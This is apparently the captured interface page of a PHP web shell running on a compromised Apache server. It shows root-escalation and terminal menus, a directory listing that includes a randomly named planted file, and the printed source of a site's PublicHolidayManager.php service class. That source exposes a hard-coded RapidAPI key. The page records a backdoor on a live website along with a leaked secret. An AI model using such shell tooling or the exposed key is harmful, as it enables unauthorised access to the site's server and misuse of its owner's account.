Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
CoreBundle /
Services /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
519
B
-r-xr-xr-x
2026-08-17 03:12
BatchJobsManager.php
10.21
KB
-rwxrwxr-x
2026-04-02 12:06
ErrorLogManager.php
5.05
KB
-rwxrwxr-x
2026-04-02 12:06
FileUploader.php
822
B
-rwxrwxr-x
2026-04-02 12:06
KeyValueManager.php
4.33
KB
-rwxrwxr-x
2026-04-02 12:06
Openssl_EncryptDecrypt.php
2.69
KB
-rwxrwxr-x
2026-04-02 12:06
PublicHolidayManager.php
2.53
KB
-rwxrwxr-x
2026-04-02 12:06
S3.php
92
KB
-rwxrwxr-x
2026-04-02 12:06
ServiceGetterManager.php
2.67
KB
-rwxrwxr-x
2026-04-02 12:06
SystemSettingGroupManager.php
2.65
KB
-rwxrwxr-x
2026-04-02 12:06
SystemSettingManager.php
10.55
KB
-rwxrwxr-x
2026-04-02 11:48
TempValueManager.php
4.24
KB
-rwxrwxr-x
2026-04-02 12:06
Utils.php
13.04
KB
-rwxrwxr-x
2026-05-25 12:28
bRmmqHsQgg.php
4.42
KB
-rw-r--r--
2026-06-20 02:59
Save
Rename
<?php /* * For license information contact otto@igotafrica.com */ namespace App\CoreBundle\Services; use Symfony\Component\DependencyInjection\ContainerInterface; use App\CoreBundle\Entity\TempValue; /** * Public holiday manager * * @author Otto Saayman <otto@igotafrica.com> * @package CoreBundle * @subpackage Public Holiday * @version 0.0.1 */ final class PublicHolidayManager { /** * Service Container * @var object */ private $container = null; /** * Entity manager * @var object */ private $em; /** * Class construct * * @param ContainerInterface $container * @param Logger $logger * @return void */ public function __construct(ContainerInterface $container) { $this->setContainer($container); $this->setEm($container->get('doctrine')->getManager('default')); return; } /** * Get Container * * @return ContainerInterface $container */ public function getContainer() { return $this->container; } /** * Set Container * * @param ContainerInterface $container * @return void */ public function setContainer($container) { $this->container = $container; } /** * Get Entity Manager * * @return string */ public function getEm() { return $this->em; } /** * Set Container * * @param string $em * @return void */ public function setEm($em) { $this->em = $em; } /** * Find a temp value object * * @param string $id * @return TempValue */ public function getList() { $list = $this->getContainer()->get('temp_value.manager')->getTempValue('public_holidays_' . date('Y'), array(), true); if (is_array($list) && count($list) > 0) { return $list; } $list = Utils::getURLContent( 'https://holidays-by-api-ninjas.p.rapidapi.com/v1/holidays?country=za&year=2023&type=public_holiday', array('header' => array( 'X-RapidAPI-Host: holidays-by-api-ninjas.p.rapidapi.com', 'X-RapidAPI-Key: d03d12a98amshf742d93fed093e4p1a81cdjsn26c4c58244e6' ) ) ); $listLive = json_decode($list['content'], true); $this->getContainer()->get('temp_value.manager')->setTempValue('public_holidays_' . date('Y'), $listLive, true); } }